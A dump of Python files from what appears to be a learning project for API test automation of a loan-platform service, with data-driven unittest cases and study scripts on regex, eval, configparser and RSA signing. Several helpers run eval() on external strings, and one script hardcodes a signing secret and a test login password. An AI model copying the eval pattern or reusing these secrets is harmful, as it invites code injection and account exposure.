| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,009 | tylhhh/API_qianchengdai | refs/heads/master | /TestCases/test_recharge.py |
import unittest,json
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from Common.myddt import ddt, data
from Common.handle_db import HandleDB
from Common.handle_log import logger
from Common.handle_phone import get_new_phone,get_old_phone
from Common.handle_data import replace_data,EnvData,clear_EnvData_atts,replace_case_by_regular
from Common.handle_requests import send_requests
from jsonpath import jsonpath
get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","充值")
cases = get_excel.read_all_datas()
get_excel.close_file()
db = HandleDB()
@ddt
class TestRecharge(unittest.TestCase):
@classmethod
def setUpClass(cls):
logger.info("***************************登录前置*****************************************")
clear_EnvData_atts() # 清理EnvData里设置的属性
user,passwd = get_old_phone()
resp = send_requests("POST", "member/login", {"mobile_phone": user, "pwd": passwd})
setattr(EnvData, "member_id", jsonpath(resp.json(),"$..id")[0])
setattr(EnvData, "token", jsonpath(resp.json(), "$..token")[0])
def tearDown(self) -> None:
if hasattr(EnvData, "money"):
delattr(EnvData, "money")
@data(*cases)
def test_recharge(self,case):
logger.info("***************执行第{}条用例：{}*********************".format(case["case_id"], case["title"]))
if case["request_data"].find("#member_id#") != -1:
case = replace_case_by_regular(case)
# case = replace_data(case,"#member_id#", str(EnvData.member_id))
if case["check_sql"]:
recharge_before_money = db.select_one_data(case["check_sql"])['leave_amount']
logger.info("充值前用户余额：{}".format(recharge_before_money))
recharge_money = json.loads(case["request_data"])["amount"]
logger.info("用户充值的金额:{}".format(recharge_money))
expected_money = round(float(recharge_before_money) + recharge_money,2)
logger.info("充值后，期望的金额：{}".format(expected_money))
setattr(EnvData, "money", str(expected_money))
case = replace_case_by_regular(case)
# case = replace_data(case, "#money#", str(expected_money))
resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token)
expected = json.loads(case["expected"])
try:
self.assertEqual(resp.json()["code"],expected["code"])
self.assertEqual(resp.json()["msg"], expected["msg"])
if case["check_sql"]:
self.assertEqual(resp.json()["data"]["id"], expected["data"]["id"])
self.assertEqual(resp.json()["data"]["leave_amount"], expected["data"]["leave_amount"])
recharge_after_money = db.select_one_data(case["check_sql"])["leave_amount"]
logger.info("充值后的用户余额：{}".format(recharge_after_money))
self.assertEqual("{:.2f}".format(expected["data"]["leave_amount"]),"{:.2f}".format(float(recharge_after_money)))
except AssertionError as e:
logger.exception("断言失败!")
raise e
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,010 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_extract_data.py |
import jsonpath
from Common.handle_data import EnvData
def extract_data(extract_exprs,response_dict):
"""
根据jsonpath提取表达式，从响应结果当中，提取数据并设置为环境变量EnvData类的类属性，作为全局变量使用。
:param extract_exprs: 从excel当中读取出来的，提取表达式的字符串。
:param response_dict: http请求之后的响应结果。
:return:Nonoe
"""
# 将提取表达式转换成字典
extract_dict = eval(extract_exprs)
# 遍历字典，key作为全局变量名，value是jsonpath提取表达式。
for key,value in extract_dict.items():
# 提取
res = str(jsonpath.jsonpath(response_dict,value)[0])
# 设置环境变量
setattr(EnvData,key,res)
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,011 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/08_利用正则替换数据.py | """
re 模块使 Python 语言拥有全部的正则表达式功能。
re.findall(re规则，字符串)：把所有匹配的字符放在列表中并返回
re.sub(re规则，替换串，被替换串)：匹配字符并替换
"""
"""
${memberID} 对应的正则表达式 '\$\{.*\}'
\$ 转义替换字符串中 $
\{ 转义替换字符串中 {
. 除了\n中的任意单个自符
* 匹配*前面的字符零次或者多次
\} 转义替换字符串中 }
"""
import re
dict = {"memberId": "${memberID}", "password": "123456", "loanId": "${loanId}", "amount": "-100"}
data = {"memberId": 10001, "loanId": 1}
for key, value in dict.items():
if key in data.keys():
newValue = re.sub('\$\{.*\}', str(data[key]), value)
dict[key] = newValue
print(dict)
class EnvData:
pass
setattr(EnvData, "member_id", "12345678900000")
setattr(EnvData, "user_money", "2500")
# 利用re.findall(re规则，字符串)
data = '{"member_id": #member_id#,"amount":600,money:#user_money#,username:"#user#"}'
res = re.findall("#(.*?)#", data) # 如果没找到，则返回的是一个空列表
print(res)
if res:
for item in res:
try:
value = getattr(EnvData, item)
data = data.replace("#{}#".format(item), value)
except AttributeError:
continue
print(data)
# 利用re.sub(re规则，替换串，被替换串)，缺点：key-value的名称要对应
data1 = '{"member_id": "#member_id#","amount":600,"user_money":"#user_money#","username":"#user#"}'
dict_data = eval(data1)
for key, value in dict_data.items():
if hasattr(EnvData, key):
value1 = getattr(EnvData, key)
newValue = re.sub("#(.*)#", value1, value)
dict_data[key] = newValue
print(dict_data)
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,012 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_log.py | import logging,os
from Common.handle_config import conf
from Common.handle_path import logs_dir
class HandleLog:
def __init__(self,name, path):
# 创建一个日志收集器
self.logger = logging.getLogger(name)
self.logger.setLevel(logging.INFO)
self.stream_handle = logging.StreamHandler()
self.file_handle = logging.FileHandler(path, encoding="utf-8")
fmt = ' %(asctime)s-%(name)s-%(levelname)s-%(filename)s-%(lineno)dline-日志信息: %(message)s '
self.stream_handle.setFormatter(logging.Formatter(fmt))
self.file_handle.setFormatter(logging.Formatter(fmt))
self.logger.addHandler(self.stream_handle)
self.logger.addHandler(self.file_handle)
def get_logger(self):
return self.logger
def __del__(self):
self.logger.removeHandler(self.stream_handle)
self.logger.removeHandler(self.file_handle)
self.stream_handle.close()
self.file_handle.close()
if conf.getboolean("log", "file_ok"):
file_path = os.path.join(logs_dir, conf.get("log", "file_name"))
else:
file_path = None
mlogger = HandleLog(conf.get("log", "name"),file_path)
logger = mlogger.get_logger()
logger.info("测试日志") | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,013 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/03_configparse模块.py | """
ConfigParser 是用来读取配置文件的包。
配置文件的格式如下：中括号“[ ]”内包含的为section。section 下面为类似于key-value 的配置内容
[section]
option=value
"""
# ConfigParser 初始化对象
import configparser
config = configparser.ConfigParser()
config.read("test.ini", encoding="utf-8")
# 获取所用的section节点
print(config.sections())
# 获取指定section的options
res = config.options("db")
print(res)
# 获取指定section下的指定option值
res = config.get("db", "db_host")
print(res)
# r1 = config.getint("db", "k1") #将获取到值转换为int型
# r2 = config.getboolean("db", "k2" ) #将获取到值转换为bool型
# r3 = config.getfloat("db", "k3" ) #将获取到值转换为浮点型
# 获取指定section的所用配置信息
res = config.items("db")
print(res)
# 检查section或option是否存在
if not config.has_section("default"):
config.add_section("default")
if not config.has_option("default","db_host"):
config.set("default","db_host","1.1.1.1")
config.write(open("test.ini","w",encoding="utf-8")) | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,014 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_config.py | import os
from configparser import ConfigParser
from Common.handle_path import conf_dir
class HandleConfig(ConfigParser):
def __init__(self, file_path):
super().__init__()
self.read(file_path, encoding="utf-8")
file_path = os.path.join(conf_dir, "conf.ini")
conf = HandleConfig(file_path) | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,015 | tylhhh/API_qianchengdai | refs/heads/master | /TestCases/test_audit.py | import unittest
import json
from Common.handle_excel import HandleExcel
from Common.handle_path import datas_dir
from Common.myddt import ddt,data
from Common.handle_log import logger
from Common.handle_data import EnvData,clear_EnvData_atts,replace_case_by_regular
from Common.handle_requests import send_requests
from Common.handle_extract_data import extract_data
from Common.handle_db import HandleDB
get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","审核")
cases = get_excel.read_all_datas()
print(cases)
get_excel.close_file()
db = HandleDB()
@ddt
class TestAudit(unittest.TestCase):
@classmethod
def setUpClass(cls) -> None:
logger.info("***************************审核用例开始*********************************")
clear_EnvData_atts()
@classmethod
def tearDownClass(cls) -> None:
logger.info("***************************审核用例结束*********************************")
@data(*cases)
def test_audit(self,case):
logger.info("***************执行第{}条用例：{}*********************".format(case["case_id"], case["title"]))
case = replace_case_by_regular(case)
if hasattr(EnvData,"token"):
resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token)
else:
resp = send_requests(case["method"], case["url"], case["request_data"])
if case["extract_data"]:
extract_data(case["extract_data"],resp.json())
if case["expected"]:
expected = eval(case["expected"])
logger.info("用例的期望结果为：{}".format(expected))
try:
self.assertEqual(resp.json()["code"], expected["code"])
self.assertEqual(resp.json()["msg"], expected["msg"])
# 数据库校验
if case["check_sql"]:
result = db.select_one_data(case["check_sql"])
self.assertIsNotNone(result)
except AssertionError as e:
logger.exception("断言失败!")
raise e
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,016 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/05_json和eval的区别应用.py |
"""
json:是什么样就直接转换，没有计算,json不认单引号，json中的字符串需要用双引号包起来
eval:python表达式去计算
"""
import json
ss = '{"mobile_phone":"18600001112","pwd":"123456789","type":1,"reg_name":"美丽可爱的小简","flag":null}'
# json字符串转换成字典
ss_dict = json.loads(ss)
print(ss_dict)
print(type(ss_dict))
dict_ss = {'mobile_phone': '18600001112', 'pwd': '123456789', 'type': 1, 'reg_name': '小可爱', 'flag': None}
# 将字典转换成json字符串
ss_json = json.dumps(dict_ss, ensure_ascii=False)
print(ss_json)
print(type(ss_json))
if ss.find("null") != -1:
ss = ss.replace("null", "None")
s = eval(ss)
print(s)
print(type(s))
# 遇到特殊类型的时候，eval通常用了执行一个字符串表达式，并返回表达式的值
print(eval('1+1'))
# print(json.loads("1+1")) | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,017 | tylhhh/API_qianchengdai | refs/heads/master | /Common/handle_requests.py | import json,requests
from Common.handle_config import conf
from Common.handle_log import logger
def send_requests(method, url, data=None, token=None):
logger.info("发起一次HTTP请求")
headers = handle_header(token)
url = pre_url(url)
data = pre_data(data)
logger.info("请求头为：{}".format(headers))
logger.info("请求方法为：{}".format(method))
logger.info("请求url为：{}".format(url))
logger.info("请求数据为：{}".format(data))
method = method.upper()
if method == "GET":
resp = requests.get(url,data, headers=headers)
elif method == "POST":
resp = requests.post(url, json=data, headers=headers)
elif method == "PATCH":
resp = requests.patch(url, json=data, headers=headers)
logger.info("响应状态码：{}".format(resp.status_code))
logger.info("响应数据为：{}".format(resp.json()))
return resp
def handle_header(token=None):
headers= {"X-Lemonban-Media-Type": "lemonban.v2",
"Content-Type":"application/json"}
if token:
headers["Authorization"] = "Bearer {}".format(token)
return headers
def pre_url(url):
base_url = conf.get("server", "base_url")
if url.startswith("/"):
return base_url + url
else:
return base_url + "/" + url
def pre_data(data):
"""
如果data是字符串，则转换成字典对象
:param data:
:return:
"""
if data is not None and isinstance(data, str):
if data.find("null") != -1:
data = data.replace("null","none")
data = eval(data)
return data
| {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,018 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/test.py |
import hashlib
def md5(str):
str_md5 = hashlib.md5(str.encode(encoding='UTF-8')).hexdigest()
return str_md5
def get_mol_sign(request_data):
str_parm = '' # 目标md5串
data_dict = eval(request_data)
list_data = sorted(data_dict)
for item in list_data: # 将字典中的key排序,存在在列表中
if item == "signature":
list_data.remove("signature")
for item in list_data: # 列表去掉signature后，再进行遍历,拼接参数字典中的value值
str_parm = str_parm + str(data_dict[item])
secret_key = '6HHT8uQ3V0ZK8ozmvedeTY9uhDaXUsNv' # mol回调固定的
str_parm = str_parm + secret_key
print(str_parm)
signature = md5(str_parm)
print(signature)
return signature
if __name__ == '__main__':
request_data = "" | {"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]} |
54,019 | tylhhh/API_qianchengdai | refs/heads/master | /扩展学习/10_RSA加密签名处理.py | """
RSA加密：http://www.lemfix.com/topics/355
调用接口加密处理参考方案：
https://www.cnblogs.com/Simple-Small/p/11284110.html
测试小白也能懂：常用加密算法解析
http://www.lemfix.com/topics/43408
安装：pip3 install rsa
"""
import rsa
import base64
from time import time
def rsaEncrypt(msg):
"""
公钥加密
:param msg: 要加密的内容
:type msg: str
:return: 加密之后的密文
"""
server_pub_key = """
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDQENQujkLfZfc5Tu9Z1LprzedE
O3F7gs+7bzrgPsMl29LX8UoPYvIG8C604CprBQ4FkfnJpnhWu2lvUB0WZyLq6sBr
tuPorOc42+gLnFfyhJAwdZB6SqWfDg7bW+jNe5Ki1DtU7z8uF6Gx+blEMGo8Dg+S
kKlZFc8Br7SHtbL2tQIDAQAB
-----END PUBLIC KEY-----
"""
# 生成公钥对象
pub_key_byte = server_pub_key.encode("utf-8")
# print(pub_key_byte)
pub_key_obj = rsa.PublicKey.load_pkcs1_openssl_pem(pub_key_byte)
# 要加密的数据转成字节对象
content = msg.encode("utf-8")
# 加密,返回加密文本
cryto_msg = rsa.encrypt(content, pub_key_obj)
# base64编码
cipher_base64 = base64.b64encode(cryto_msg)
# 转成字符串
return cipher_base64.decode()
def generator_sign(token):
# 获取token的前50位
token_50 = token[:50]
# 生成时间戳
timestamp = int(time())
print(timestamp)
# 拼接token前50位和时间戳
msg = token_50 + str(timestamp)
print(msg)
# 进行RSA加密
sign = rsaEncrypt(msg)
return sign,timestamp
if __name__ == '__main__':
import requests
# lemon_v3测试
headers = {"X-Lemonban-Media-Type": "lemonban.v3",
"Content-Type": "application/json"}
# 登陆接口
login_url = "http://api.lemonban.com/futureloan/member/login"
login_datas = {"mobile_phone": "13845467789", "pwd": "1234567890"}
resp = requests.request("POST", login_url, json=login_datas, headers=headers)
token = resp.json()["data"]["token_info"]["token"]
member_id = resp.json()["data"]["id"]
headers["Authorization"] = "Bearer {}".format(token)
sign, timestamp = generator_sign(token)
print("签名为： ", sign, "\n时间戳为： ", timestamp)
recharge_url = "http://api.lemonban.com/futureloan/member/recharge"
recharge_data = {"member_id": member_id, "amount": 2000, "sign": sign, "timestamp": timestamp}
